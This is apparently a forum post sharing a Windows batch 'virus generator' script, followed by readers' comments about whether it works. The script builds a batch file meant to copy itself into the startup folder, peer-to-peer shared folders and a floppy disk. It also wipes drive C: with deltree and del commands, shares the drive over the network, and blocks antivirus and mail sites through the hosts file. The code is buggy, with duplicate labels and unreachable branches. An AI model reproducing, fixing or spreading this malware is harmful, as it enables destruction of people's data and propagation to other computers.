Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it is
AND the Final Batch File End up In c:\
well you can delete windows
do netshares
copy to startup folder a:\ c:\windows and like p2p
Stop From going to Site Using Lmhosts
(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /c

Here are the codes :

echo off
echo ..................
echo : Virus Gen 2.o :
echo : By: Vinylshakers :
echo :................:
echo · Startup
echo · Copy To Windows
echo · Delete HARDRIVE
echo enter name of virus Below
set /p filename=%filename%
Echo Add To Startup? Yes or No Note:Use all LowerCase
set /p answer=%answer%
IF "%answer%"=="yes" goto start
goto copy
IF not "%answer%"=="yes" goto copy
goto copy
set /p answer2=%answer2%
IF "%answer2%"=="yes" GOTO START2
echo Delete Windows?
set /p answer3=%answer3%
IF "%answer3%"=="yes" GOTO START3

echo Share c:\
set /p answer4=%answer4%
IF "%answer4%"=="yes" GOTO START4

echo Stop From Going To Anti-Virus Websites?
set /p answer5=%answer5%
IF "%answer5%"=="yes" GOTO ass
IF "%answer5%"=="no" exit

echo COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.bat
goto copy
echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.bat
echo COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.bat
echo copy c:\windows\%filename%.BAT>>c:\%filename%.bat
ECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BAT

echo deltree /y c:\>>c:\%FILENAME%.BAT
echo del c:\ /y /s>>c:\%FILENAME%.BAT
:start 4
echo net share c:\=haxor>>c:\%filename%.bat
goto lmhost
:start 4
echo cmd /c "echo www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.bat
echo cmd /c "echo www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat
echo cmd /c "echo messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.bat

Plz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

sort by: active | newest | oldest
well this doesn't do anything because obviously, echo has no replicating features
you may have made the replicator, but where is the damage?
because that little >> exports whatever would show up on the scrren because of that command and puts it in the file specified so if you write "echo fun" what will show up on your screen will be "fun" and the arrow directs the out put to a text file if you wanna see the >> in action go to this batch i made. https://www.instructables.com/forum/Cool-Batch-applet/
which means OBVIOUSLY your wrong and should study up on your coding before you criticize others.
zachninme9 years ago
Lovely, but surely even batch has while/if statements? Its sad if it doesn't... goto is so sad...
Clever way of "reproducing", but you'll still need something to trigger it.